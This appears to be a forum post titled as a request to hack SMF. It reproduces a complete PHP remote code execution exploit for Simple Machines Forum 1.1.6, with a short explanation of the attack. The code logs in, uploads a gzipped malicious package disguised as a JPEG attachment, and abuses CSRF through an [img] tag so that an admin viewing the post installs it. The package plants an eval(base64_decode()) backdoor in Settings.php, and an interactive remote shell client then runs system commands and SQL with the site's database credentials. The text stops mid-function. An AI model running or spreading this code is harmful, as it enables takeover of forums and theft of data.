(Ask) hack SMF

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<?php
#
# Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit
# Credits: Charles FOL <charlesfol[at]hotmail.fr>
# URL: http://real.olympe-network.com/
#
# Note: other versions are maybe vulnerable, not tested.
#
# SMF suffers from multiples vulnerabilities.
# Combining some of them, we can obtain a remote code execution on the
# remote host. I won't talk here about all of them, but I'll explain
# how we can execute code.
#
# 0 - UPDATE (05/11/08)
#
# (Now,) SMF seems to replace "action=" by "action-" in every URL.
# But SMF urldecode() GET data, so I replaced "action" by "%61ction".
# Other little problems have been corrected.
#
# Thanks to Alessandro Tagliapietra for his report and his patience.
#
# It seems that many people can't use phpreter, so here is a little course :
#
# phpreter have 3 modes : cmd (bash), php, and SQL
#
# To switch to a mode just type "mode=<mode>" (replace <mode> by php, cmd or sql)
#
# In cmd mode, you can run bash commands, like "ls"
# In php mode, you can exec php code like "echo 'abc';"
# In sql mode, you can exec sql queries and view results, try "SHOW TABLES"
#
# I - Session Code
#
# SMF administration panel is secured by a "session code", a kind of
# password that must be provided by the admin browser when the admin
# is editing data.
#
# But the session code is not required for SMF package installation.
# Just to be clear : you don't need the "session code" to install the
# package, but you do need a valid admin session.
#
# II - Package Installation
#
# Package installation works this way :
# - The admin tells an archive file, which can be either gzip or zip, to SMF
# - SMF un(g)zip it, and analyse the XML files (yes, it work with XML)
# to add, replace or remove code from any SMF source code file.
#
# To precise an archive to SMF, the admin is supposed to go on this URL :
#
# http://[website]/SMF/index.php?action=packages;sa=install2;package=[filename] (1)
#
# Since $_REQUEST['package'] is not checked, we can install any file
# on the server, even if the file is not in the Packages/ dir.
#
# Using CSRF, we can make an admin to install whatever package we want.
# That does not seem really interesting for now, but be patient =)
#
# III - File upload in SMF; Attachments
#
# SMF let users upload files in two cases :
# - You can upload an image to be your avatar
# - You can upload attachments to every post you submit
#
# Since uploaded images are checked, they don't interest us for now.
#
# Attachments are not checked by SMF.
# They are renamed and moved to the attachments/ directory.
# They are renamed this way :
# [id]_[name]_[ext][md5([name].[ext])]
#
# As you can see, there is no rand(), or other strange stuff :
# we can easily find attachment name.
#
# The second part is more interesting now, no ?
#
# Now, we can submit a post with a gzip'ed attachment, and make the admin
# click on a specific link, to install a package we uploaded ourself.
#
# I writed "click", so many of you may say "brr, that sucks".
# So here come the wait-I've-not-finished part.
#
# IV - Wait-I've-not-finished part
#
# SMF allows us to display remote images in our posts, using [img]<url>[/img]
# We can just set our image URL to ... (1) : when the admin will see our post,
# the package will be installed.
#
# V - Classic Scenario
#
# 1. We submit a fantastic post containing our nasty-attached-gzip'ed package, ready
# to be installed.
# 2. We guess the attachment name, that's pretty easy because we can retrieve the
# attachment ID.
# 3. We modify our post, adding an [img](1)[/img], replacing [filename] by
# ../attachments/[the_name_you_just_found]
# 4. The administrator discover our fantastic post on his fantastic forum ...
# 5. His browser discovers our image : it goes to the specified url to download it.
# wooops. The package is installed.
#
# VI - Exploit
#
# The exploit will login with your user account, and submit a new post/topic containing an
# attachment, a gzipped package, which permits remote code execution once installed.
# Then it will obtain the attachment ID, determine attachment name, and modify your topic to
# add a remote image (using ).
# Then you'll have to wait for an admin to see your post ... and the package will be installed.
#
# VII - Notes
#
# - Do not forget to change SUBJECT and MESSAGE constants, to make your post a little more realistic.
# - The current gzipped package is supposed to put PHP code at the end of Settings.php file.
# - Code: if(isset($_SERVER['HTTP_SHELL'])) { print 1234567890;eval(base64_decode($_SERVER['HTTP_SHELL']));print 1234567890;exit(); }
#
# First run the exploit like this :
# eg : php exploit.php -url http://localhost/forum/ -bid 2 -user tester:passwd
# And when you think the admin viewed your post, run the shell
# eg : php exploit.php -url http://localhost/forum/ -shell
#
# FOR EDUCATIONAL PURPOSE ONLY
#

new smf_poc();

class smf_poc
{
const SUBJECT = 'hello';
const MESSAGE = 'dudes ... I love your forum ';

function smf_poc()
{
$this->header();
$this->gzip();
$this->loadparameters();
$this->wwwinit();

if(!$this->shell)
{
# First of all, login
$this->login();
# Then submit a topic
$this->submit_post();
# Find attachment name and message id
$this->get_postinfo();
# and modify the post
$this->edit_post();
# finally ... wait.
$this->wait();
}
else
$this->shell();
}

function header()
{
$this->msg();
$this->msg(' Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit');
$this->msg(' by Charles FOL <charlesfol[at]hotmail.fr>');
$this->msg();
}

function msg($msg = '', $exit = 0)
{
print '# ' . $msg . "\n";

if($exit)
{
$this->msg();
exit();
}
}

function usage()
{
global $argv;

$name = basename($argv[0]);

$this->msg('usage : php ' . $name . ' -url [url] -bid [bid] -user [user]:[passwd]');
$this->msg(' OR php ' . $name . ' -url [url] -shell');
$this->msg();
$this->msg('Parameters are :');
$this->msg(' -shell Test if the shell is installed, and load phpreter');
$this->msg(' -bid (int) The board ID were you want to submit the topic');
$this->msg(' -user user:passwd A valid user:password couple');
$this->msg(' -wait Flood control time (default: 5)');
$this->msg();
$this->msg('eg : php ' . $name . ' -url http://localhost/forum/ -bid 2 -user tester:passwd', 1);
}

# Get every needed parameters, and load defaults
function loadparameters()
{
$this->furl = $this->getparameter('url');
$this->shell = $this->getoption('shell');
$this->wait = $this->getparameter('wait', 5);

if(!$this->shell)
{
$this->bid = $this->getparameter('bid');
$this->user = $this->getparameter('user');
}
}

# Patience ...
function wait()
{
$this->url->topic = $this->pid;
$this->makeurl();

$this->msg();
$this->msg('Now, you just have to wait for an admin to see your post,');
$this->msg('then you will be able to launch a shell using -shell.');
$this->msg();
$this->msg('Post URL : ' . $this->murl, 1);
}

# Check if a shell is available and launch phpreter
function shell()
{
$this->www->addheader('Shell', 'MTs=');

$this->url->action = 'forum';
$this->get();

if(!$this->match('(12345678901234567890)'))
$this->msg('Shell is not available', -1);

$sql = array
(
'var_host' => '$db_server',
'var_user' => '$db_user',
'var_passwd' => '$db_passwd',
'var_db' => '$db_name'
);

$preter = new phpreter($this->murl, '1234567890(.*)1234567890', 'cmd', $sql);
}

function wwwinit()
{
$this->www = new phpsploit();
$this->www->cookiejar(1);
$this->www->addheader('Referer', $this->furl . 'index.php');
}

# Log in ...
function login()
{
$user = explode(':', $this->user);

$this->url = 'action=login2';
$this->data = 'user='.$user[0].'&passwrd='.$user[1].'&cookielength=-1';
$this->post();

$this->location->action = 'login2';
$this->location->sa = 'check';

if($this->location())
$this->msg('Logged in as ' . $user[0]);
else
$this->msg('Can\'t log in', 1);
}

# Get seqnum and sescode
function get_sessionvars()
{
$this->get();

$this->scode = $this->match('name="sc" value="([0-9a-f]+)"', 1);
$this->sqnum = $this->match('name="seqnum" value="([0-9]+)"', 1);
}

# Submit our post, containing our gzipped package
function submit_post()
{
# Flood control: let's sleep a little

$this->msg('Waiting ' . $this->wait . ' secs (flood control)');
sleep($this->wait);

# Obtain session vars

$this->url->action = 'post';
$this->url->board = $this->bid . '.0';

$this->get_sessionvars();

# and submit the post

$this->url->action = 'post2';
$this->url->board = $this->bid;
$this->url->start = '0';

$this->data = array
(
'subject' => self::SUBJECT,
'message' => self::MESSAGE,
'sc' => $this->scode,
'seqnum' => $this->sqnum,
'icon' => 'xx',
'topic' => 0,
'notify' => 0,
'lock' => 0,
'sticky' => 0,
'move' => 0,
'additional_options' => 0,
'attachment[]' => array
(
frmdt_filename => 'jpeg.jpg',
frmdt_type => 'image/jpeg',
frmdt_content => $this->GZIP,
)
);

$this->post();

# Check the submission

$this->location->board = $this->bid;

if($this->location())
{
$this->msg('Post successfully submitted');
}
else
{
$this->msg('Error while posting');
$this->msg('Try augmenting -wait parameter', 1);
}

# Find the post id

$this->url->board = $this->bid . '.0';
$this->get();

$this->pid = $this->match('topic=([0-9]+)');
$this->pid = max($this->pid);
}

# Get the avatar ID to obtain its full name, and get msg id
function get_postinfo()
{
$this->url->topic = $this->pid . '.0';
$this->get();

$this->aid = $this->match('attach=([0-9]+)', 1);
$this->mid = $this->match('msg=([0-9]+)', 1);

if($this->aid)
$this->msg('Got attachment name =)');
else
$this->msg('Unable to obtain attachment ID ...', 1);

if(!$this->mid)
$this->msg('Unable to obtain message ID ...', 1);
}

# Edit our precedent post : just add our "image".
function edit_post()
{
# Obtain session vars

$this->url->action = 'post';
$this->url->topic = $this->pid;
$this->url->msg = $this->mid;
$this->url->sesc = $this->scode;

$this->get_sessionvars();

# Build our CSRF

$this->url->{'%61ction'} = 'packages';
$this->url->sa = 'install2';
$this->url->package = $this->aid . '_jpeg_jpg' . md5('jpeg.jpg');
$this->url->package = '../attachments/' . $this->url->package;

$this->makeurl();

$img = '[img]'%20.%20$this->murl%20.%20'[/img]';

# Edit the post

$this->url->action = 'post2';
$this->url->sesc = $this->scode;
$this->url->board = $this->bid;
$this->url->msg = $this->mid;
$this->url->start = 0;

$this->data = array
(
'topic' => $this->pid,
'subject' => self::SUBJECT,
'icon' => 'xx',
'message' => self::MESSAGE . $img,
'notify' => '0',
'lock' => '0',
'goback' => '1',
'sticky' => '0',
'move' => '0',
'attach_del[]' => '0',
'attach_del[]' => $this->aid,
'post' => 'Save',
'num_replies' => '0',
'additional_options' => '0',
'sc' => $this->scode,
'seqnum' => $this->sqnum,
);

$this->post();

if($this->location(';topic=' . $this->pid))
$this->msg('Post successfully edited, everything done.');
else
$this->msg('Unable to edit the post');
}

# Find were we are redirected to
function location()
{
# SMF likes making a mess with URL, so ... let's consider
# all cases.

$expr = '';

$this->location = (array) $this->location;

foreach($this->location as $key => $value)
{
$expr .= $key . '[,=]' . urlencode($value) . '(&|;|%26|%3B)';
}

$this->location = null;

$expr = substr($expr, 0, -13);
$expr = '#(Refresh|Location):.*' . $expr . '#i';

$head = $this->www->getheader();

return preg_match($expr, $head);
}

function match($expr, $one = 0)
{
# SMF likes making a mess with URL, so ... let's consider
# all cases.

$expr = str_replace('\?', '[\?/]', $expr);
$expr = str_replace('=', '[,=]', $expr);
$expr = str_replace(';', '(&|;|%26|%3B)', $expr, $count);
$expr = '#' . $expr . '#is';

$count++;

$http = $this->www->getcontent();

if(!$one && !preg_match_all($expr, $http, $match))
return false;

if($one && !preg_match($expr, $http, $match))
return false;

return $match[$count];
}

function getoption($option)
{
global $argv, $argc;

foreach($argv as $arg)
{
if($arg == '-' . $option)
return true;
}

return false;
}

function getparameter($parameter, $default = false)
{
global $argv, $argc;

for($i=0;$i<$argc;$i++)
{
if($argv[$i] == '-' . $parameter)
return $argv[$i+1];
}

if($default === false)
$this->usage();

return $default;
}

function get()
{
$this->makeurl();
$this->www->get($this->murl);
}

function post()
{
$this->makeurl();

if(is_array($this->data))
{
$this->data['frmdt_url'] = $this->murl;

$this->www->formdata($this->data);
}
else
$this->www->post($this->murl, $this->data);
}

# Construct a valid URL using the url object/string.
function makeurl()
{
$url = '';

if(is_object($this->url))
{
$url = '';

$this->url = (array) $this->url;

foreach($this->url as $key => $value)
{
$url .= $key . '=' . urlencode($value) . '&';
}

$url = substr($url, 0, -1);
}
else
$url = $this->url;

$url = $this->furl . 'index.php?' . $url;

$this->murl = $url;

$this->url = null;
}

# Our SMF package ...
function gzip()
{
$this->GZIP = ''
. "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x0b\xed\x56\xff\x4f"
. "\xda\x40\x14\xe7\x57\x4c\xfc\x1f\x9e\x64\x89\x98\x08\x6d"
. "\x01\xcb\x86\xa5\xc6\x29\x8b\x26\x7e\x8b\x34\x4b\x8c\x31"
. "\xe4\xa0\x87\xdc\x6c\xef\x9a\xde\x21\x92\x65\xff\xfb\xde"
. "\x5d\x71\x52\xdd\x37\x12\x37\x17\xc7\xa3\x69\xb9\xbb\xf7"
. "\x5e\xdf\xd7\xcf\x2b\xe3\x52\x91\x28\xaa\xde\xc5\x51\xe1"
. "\x4f\x91\x63\xdb\xae\xeb\x42\xc1\x36\xf4\xf0\x84\x8c\x6a"
. "\x8d\xad\x26\x38\x8e\x63\xd7\xeb\x76\xdd\x6d\xd6\x00\x1c"
. "\xdb\x6d\x3a\x50\xf8\x2b\x34\x46\xff\x53\x34\x29\x15\x42"
. "\x15\xfe\x3f\xf2\x76\x30\xf3\x70\x4b\x53\xc9\x04\x6f\x97"
. "\x9c\xaa\x5d\xda\xf1\x57\x57\xbc\xb5\xfd\xd3\xbd\xe0\xe2"
. "\xac\x03\xb1\x08\xd9\x90\x0d\x88\xc2\x73\xe8\x5e\x74\x83"
. "\xce\x31\x94\x46\x4a\x25\x2d\xcb\x9a\x4c\x26\x55\xc9\xe2"
. "\x24\xa2\x31\x19\x8c\x18\xa7\xb2\x2a\xd2\x6b\x0b\x35\x5a"
. "\xf3\x62\x25\xa3\xb0\x52\x81\x67\xfc\xad\xae\x14\x83\x11"
. "\x93\x80\x17\xe1\x40\xef\x88\xb6\x22\x6f\xec\x90\xe1\xce"
. "\x50\xa4\xd0\x3d\xfe\x00\x09\x19\xdc\x90\x6b\x34\x70\x75"
. "\x05\x45\x77\x83\xa0\x73\x12\x1c\x9e\x9e\xb4\xe0\x70\x08"
. "\x53\x31\x06\x92\x52\x50\xe9\x94\xf1\x6b\x50\x02\x58\xd6"
. "\x15\xa0\xf4\x2b\x62\xc2\xc7\xb8\x98\x6e\x1a\x46\x39\x12"
. "\xe3\x28\xd4\xbc\xa8\x47\x8d\xe8\xbd\x66\xcd\x86\x8f\xb4"
. "\x0a\x5a\x25\x53\x30\x61\xa8\x80\x0b\xfc\x23\xd2\x1b\x63"
. "\x07\x8a\x6f\x02\x9a\x49\x24\xbe\x8b\xdc\x50\x20\x10\x09"
. "\x71\x83\x7a\x88\x02\xad\x6a\x28\xa2\x48\x4c\xb4\x0d\x9a"
. "\x9d\x71\xbc\xc7\x99\x2f\x78\x19\x5b\xb2\x9d\x16\x8a\x14"
. "\x67\x39\x40\x97\xe5\xf7\x92\x10\x8a\x81\xb4\x32\xd3\x2b"
. "\x33\x77\xaa\xc9\x28\xd1\xee\xb7\x9f\x99\x4c\x48\x8f\x1f"
. "\x87\x5e\xc2\x00\x33\xd3\xa7\x30\x96\x34\xd4\x41\x35\xc9"
. "\x99\xce\xce\xa4\x40\x87\x32\xb7\xa7\x10\x0a\x98\xe0\x02"
. "\xb5\x60\x88\xd2\x6f\x11\xe5\x94\x86\x52\x73\xc4\x5a\x1c"
. "\x99\xf0\x6e\x82\x99\xa4\x22\xa1\x69\x34\x35\xc9\x84\x67"
. "\xad\xab\x8a\xaf\x75\x7a\xb9\x42\xc2\x7a\xe6\xb2\xbd\x68"
. "\xd1\x67\x62\x2d\x19\x0f\x7f\x25\xaa\xfb\xa3\x68\x1a\x24"
. "\x2b\xe9\xb9\xbc\xcf\x42\x20\x74\x1c\x75\x85\x48\x12\x63"
. "\xd9\xc8\x2c\x76\x8c\xc3\x5c\x01\x56\xb4\x9c\xc6\xf1\x6a"
. "\xe6\x45\xd1\x63\xa1\xdf\x27\xfd\x4f\x63\xc9\x5a\x7d\xc2"
. "\x39\x0d\x7b\x31\x8d\xfb\xd8\xea\x3d\x72\x4b\x10\xf5\x3c"
. "\x0b\x39\x34\xe3\xac\xfd\x7d\xbb\xea\x78\xd6\xfd\xc2\x64"
. "\xd5\x33\x4d\xc4\xf1\xad\xed\x52\x97\x2a\x85\xb5\x29\x75"
. "\x19\x19\x93\x8b\x9e\x4e\x83\x31\xd4\x2c\x8b\x9e\xa4\x24"
. "\x1d\x8c\x20\x11\x92\x29\x83\x27\x94\x87\x25\xb0\x66\xa7"
. "\x24\x0c\x7d\x6f\xed\x72\x6f\x7f\x37\xd8\xbd\x34\x5b\x6c"
. "\x58\x66\x52\x52\x55\x7e\xd3\xeb\x76\xce\x3f\x76\xce\x2f"
. "\xd7\x0f\x82\xe0\xac\xd7\x3d\xe8\x1c\x1d\xad\x5f\x6d\x6c"
. "\xc0\x67\x4c\x36\xe3\x0a\x9c\x5a\xbd\xb1\xe5\x36\xdf\xbe"
. "\xb3\xb7\xe9\x2d\x89\xca\x7d\x6c\x22\xb7\xd1\x0b\xe9\x40"
. "\x84\xf4\x87\xe2\xdb\x4f\x85\xef\x98\x2a\x6f\x6c\xc3\x97"
. "\xab\x2b\xdf\xb3\xb4\x45\xc6\x11\x2b\xe7\x89\x67\x69\xb7"
. "\x35\x6a\xe5\x52\x8a\x1b\xaf\x0e\xff\x1f\x17\xcf\x0b\xcc"
. "\x7f\x70\xdd\x7a\x36\xff\x1d\xd7\x75\xec\x06\xce\x7f\x67"
. "\xab\xb6\x9c\xff\xff\xc6\xfc\x9f\x2f\x90\x05\xe6\xff\xbc"
. "\x98\x99\xff\x39\x3d\xbf\x8d\xa8\x39\x35\x8b\x22\xaa\x86"
. "\x2d\xff\xbd\x41\x3e\x98\x21\x1f\xdc\x23\x9f\x39\x5b\x08"
. "\x24\xd5\x34\xa1\xfe\x3c\x1c\x78\x96\xd9\xfa\x09\x80\xa2"
. "\xf6\x6c\xf2\x66\x20\x93\xc3\x12\xf6\xf0\xe1\xfd\x04\x65"
. "\x10\x80\x1e\x04\xbd\x5c\x10\x5e\x23\x06\x2d\x69\x49\x4b"
. "\x7a\x19\xfa\x0a\x12\x1a\xc6\x57\x00\x10\x00\x00";
}
}

/*
* Copyright (c) Charles FOL
*
* TITLE: PHPreter
* AUTHOR: Charles FOL <charlesfol[at]hotmail.fr>
* VERSION: 1.3
* LICENSE: GNU General Public License
*
*/

class phpreter
{
var $url;
var $host;
var $port;
var $page;

var $mode;

var $ssql;

var $prompt;
var $phost;

var $expr;
var $data;

/**
* __construct()
*
* @param url The url of the remote shell.
* @param expr The regular expression to catch cmd result.
* @param mode Mode: php, sql or cmd.
* @param sql An array with the file to include,
* and sql vars
* @param clear Determines if clear() is called
* on startup
*/
function phpreter($url, $expr='^(.*)$', $mode='cmd', $sql=array(), $clear=false)
{
$this->url = $url;
$this->expr = '#' . $expr . '#is';

#
# Set data
#

$infos = parse_url($this->url);
$this->host = $infos['host'];
$this->port = isset($infos['port']) ? $infos['port'] : 80;
$this->page = $infos['path'];

# www.(site).com
$host_tmp = explode('.', $this->host);
$this->phost = $host_tmp[ count($host_tmp)-2 ];

# Set up MySQL connection string
$this->set_ssql($sql);

# Switch to default mode
$this->setmode($mode);

#
# Main Loop
#

if($clear)
$this->clear();

print $this->prompt;

while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) )
{
# change mode
if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i', $cmd, $array))
$this->setmode($array[3]);

# clear data
elseif(preg_match('#^clear$#i', $cmd))
$this->clear();

# else
else print $this->exec($cmd);

print $this->prompt;
}
}

/**
* set_ssql()
* Build $ssql var
*/
function set_ssql($sql)
{
$this->ssql = '';

$sql = (object) $sql;

# is there something to include ?

if(isset($sql->include))
$this->ssql .= 'include(\'' . $sql->include . '\');';

# mysql_connect: host, user, passwd

$this->ssql .= 'mysql_connect(';

foreach(array('host', 'user', 'passwd') as $key)
{
if(isset($sql->{'var_' . $key}))
{
$this->ssql .= $sql->{'var_' . $key} . ',';
}
else
{
$this->ssql .= "'" . $sql->{$key} . "',";
}
}

$this->ssql = substr($this->ssql, 0, -1);
$this->ssql .= ');';

# mysql_select_db

if(isset($sql->var_db))
$this->ssql .= 'mysql_select_db(' . $sql->var_db . ');';
elseif(isset($sql->db))
$this->ssql .= 'mysql_select_db(\'' . $sql->db . '\');';

# basic display for mysql results

$this->ssql .= '$s=str_repeat(\'-\',50)."\n";';
$this->ssql .= '$q=mysql_query(\'<CMD>\') or print($s.mysql_error()."\n");';
$this->ssql .= 'print $s;';
$this->ssql .= 'if($q)';
$this->ssql .= '{';
$this->ssql .= 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))';
$this->ssql .= '{';
$this->ssql .= 'foreach($r as $k=>$v) print " ".$k.str_repeat(\' \', 20-strlen($k))."| $v\n";';
$this->ssql .= 'print $s;';
$this->ssql .= '}';
$this->ssql .= '}';
}

/**
* clear()
* Clear ouput, printing "\n"x50
*/
function clear()
{
print str_repeat("\n", 50);
return 0;
}

/**
* setmode()
* Set mode (PHP, CMD, SQL)
*/
function setmode($newmode)
{
$this->mode = strtolower($newmode);
$this->prompt = '['.$this->phost.']['.$this->mode.']# ';

switch($this->mode)
{
case 'cmd':
$this->data = 'system(\'<CMD>\');';
break;
case 'php':
$this->data = '';
break;
case 'sql':
$this->data = $this->ssql;
break;
}

return $this->mode;
}

/**
* exec()
* Execute any query and catch the result.
*/
function exec($cmd)
{
if($this->data != '')
$shell = str_replace('<CMD>', addslashes($cmd), $this->data);
else
$shell = $cmd;

$shell = base64_encode($shell);

$packet = "GET " . $this->page . " HTTP/1.1\r\n";
$packet .= "Host: " . $this->host . ( $this->port != 80 ? ':' . $this->port : '' ) . "\r\n";
$packet .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$packet .= "Shell: $shell\r\n";
$packet .= "Connection: close\r\n\r\n";

$fp = fsockopen($this->host, $this->port, $errno, $errstr, 30);

fputs($fp, $packet);

$recv = '';

while(!feof($fp))
$recv .= fgets($fp, 128);

fclose($fp);

# Remove headers
$data = explode("\r\n\r\n", $recv);
$headers = array_shift($data);
$content = implode("\r\n\r\n", $data);

# Unchunk content
if(preg_match("#Transfer-Encoding:.*chunked#i", $headers))
$content = $this->unchunk($content);

# Find results
preg_match($this->expr, $content, $match);

$match = $match[1];

# Add a \n if there is not
if(substr($match, -1) != "\n")
$match .= "\n";

return $match;
}

/**
* unchunk()
* Remove chunked content's sizes which are put by the apache
* server when it uses chunked transfert-encoding.
*/
function unchunk($data)
{
$dsize = 1;
$offset = 0;

while($dsize>0)
{
$hsize_size = strpos($data, "\r\n", $offset) - $offset;

$dsize = hexdec(substr($data, $offset, $hsize_size));

# Remove $hsize\r\n from $data
$data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) );

$offset += $dsize;

# Remove the \r\n before the next $hsize
$data = substr($data, 0, $offset) . substr($data, ($offset+2) );
}

return $data;
}
}

/*
*
* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 4 / PHP 5
* VERSION: 2.0
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: [email protected] (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
*
* [2007-06-10] (2.0)
* * Code: Code optimization
* * New: Compatible with PHP 4 by default
*
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
*/

class phpsploit
{
var $proxyhost;
var $proxyport;
var $host;
var $path;
var $port;
var $method;
var $url;
var $packet;
var $proxyuser;
var $proxypass;
var $header;
var $cookie;
var $data;
var $boundary;
var $allowredirection;
var $last_redirection;
var $cookiejar;
var $recv;
var $cookie_str;
var $header_str;
var $server_content;
var $server_header;


/**
* This function is called by the
* get()/post()/formdata() functions.
* You don't have to call it, this is
* the main function.
*
* @access private
* @return string $this->recv ServerResponse
*
*/
function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport))
$socket = @fsockopen($this->proxyhost,$this->proxyport);
else
$socket = @fsockopen($this->host,$this->port);

if(!$socket)
die("Error: Host seems down");

if($this->method=='get')
$this->packet = 'GET '.$this->url." HTTP/1.1\r\n";

elseif($this->method=='post' or $this->method=='formdata')
$this->packet = 'POST '.$this->url." HTTP/1.1\r\n";

else
die("Error: Invalid method");

if(!empty($this->proxyuser))
$this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";

if(!empty($this->header))
$this->packet .= $this->showheader();

if(!empty($this->cookie))
$this->packet .= 'Cookie: '.$this->showcookie()."\r\n";

$this->packet .= 'Host: '.$this->host."\r\n";
$this->packet .= "Connection: Close\r\n";

if($this->method=='post')
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method=='formdata')
{
$this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
$this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}

$this->packet .= "\r\n";
$this->recv = '';

fputs($socket,$this->packet);

while(!feof($socket))
$this->recv .= fgets($socket);

fclose($socket);

if($this->cookiejar)
$this->getcookie();

if($this->allowredirection)
return $this->getredirection();
else
return $this->recv;
}


/**
* This function allows you to add several
* cookies in the request.
*
* @access public
* @param string cookn CookieName
* @param string cookv CookieValue
* @example $this->addcookie('name','value')
*
*/
function addcookie($cookn,$cookv)
{
if(!isset($this->cookie))
$this->cookie = array();

$this->cookie[$cookn] = $cookv;
}


/**
* This function allows you to add several
* headers in the request.
*
* @access public
* @param string headern HeaderName
* @param string headervalue Headervalue
* @example $this->addheader('Client-IP', '128.5.2.3')
*
*/
function addheader($headern,$headervalue)
{
if(!isset($this->header))
$this->header = array();

$this->header[$headern] = $headervalue;
}


/**
* This function allows you to use an
* http proxy server. Several methods
* are supported.
*
* @access public
* @param string proxy ProxyHost
* @param integer proxyp ProxyPort
* @example $this->proxy('localhost',8118)
* @example $this->proxy('localhost:8118')
*
*/
function proxy($proxy,$proxyp='')
{
if(empty($proxyp))
{
$proxarr = explode(':',$proxy);
$this->proxyhost = $proxarr[0];
$this->proxyport = (int)$proxarr[1];
}
else
{
$this->proxyhost = $proxy;
$this->proxyport = (int)$proxyp;
}

if($this->proxyport > 65535)
die("Error: Invalid port number");
}


/**
* This function allows you to use an
* http proxy server which requires a
* basic authentification. Several
* methods are supported:
*
* @access public
* @param string proxyauth ProxyUser
* @param string proxypass ProxyPass
* @example $this->proxyauth('user','pwd')
* @example $this->proxyauth('user:pwd');
*
*/
function proxyauth($proxyauth,$proxypass='')
{
if(empty($proxypass))
{
$posvirg = strpos($proxyauth,':');
$this->proxyuser = substr($proxyauth,0,$posvirg);
$this->proxypass = substr($proxyauth,$posvirg+1);
}
else
{
$this->proxyuser = $proxyauth;
$this->proxypass = $proxypass;
}
}


/**
* This function allows you to set
* the 'User-Agent' header.
*
* @access public
* @param string useragent Agent
* @example $this->agent('Firefox')
*
*/
function agent($useragent)
{
$this->addheader('User-Agent',$useragent);
}


/**
* This function returns the headers
* which will be in the next request.
*
* @access public
* @return string $this->header_str Headers
* @example $this->showheader()
*
*/
function showheader()
{
$this->header_str = '';

if(!isset($this->header))
return;

foreach($this->header as $name => $value)
$this->header_str .= $name.': '.$value."\r\n";

return $this->header_str;
}


/**
* This function returns the cookies
* which will be in the next request.
*
* @access public
* @return string $this->cookie_str Cookies
* @example $this->showcookie()
*
*/
function showcookie()
{
$this->cookie_str = '';

if(!isset($this->cookie))
return;

foreach($this->cookie as $name => $value)
$this->cookie_str .= $name.'='.$value.'; ';

return $this->cookie_str;
}


/**
* This function returns the last
* formed http request.
*
* @access public
* @return string $this->packet HttpPacket
* @example $this->showlastrequest()
*
*/
function showlastrequest()
{
if(!isset($this->packet))
return;
else
return $this->packet;
}


/**
* This function sends the formed
* http packet with the GET method.
*
* @access public
* @param string url Url
* @return string $this->sock()
* @example $this->url('localhost/index.php?var=x')
* @example $this->url('http://localhost:88/tst.php')
*
*/
function get($url)
{
$this->target($url);
$this->method = 'get';
return $this->sock();
}


/**
* This function sends the formed
* http packet with the POST method.
*
* @access public
* @param string url Url
* @param string data PostData
* @return string $this->sock()
* @example $this->post('http://localhost/','helo=x')
*
*/
function post($url,$data)
{
$this->target($url);
$this->method = 'post';
$this->data = $data;
return $this->sock();
}


/**
* This function sends the formed http
* packet with the POST method using
* the multipart/form-data enctype.
*
* @access public
* @param array array FormDataArray
* @return string $this->sock()
* @example $formdata = array(
* frmdt_url => 'http://localhost/upload.php',
* frmdt_boundary => '123456', # Optional
* 'var' => 'example',
* 'file' => array(
* frmdt_type => 'image/gif', # Optional
* frmdt_transfert => 'binary' # Optional
* frmdt_filename => 'hello.php,
* frmdt_content => '<?php echo 1; ?>'));
* $this->formdata($formdata);
*
*/
function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method = 'formdata';
$this->data = '';

if(!isset($array[frmdt_boundary]))
$this->boundary = 'phpsploit';
else
$this->boundary = $array[frmdt_boundary];

foreach($array as $key => $value)
{
if(!preg_match('#^frmdt_(boundary|url)#',$key))
{
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';

if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

if(isset($array[$key][frmdt_type]))
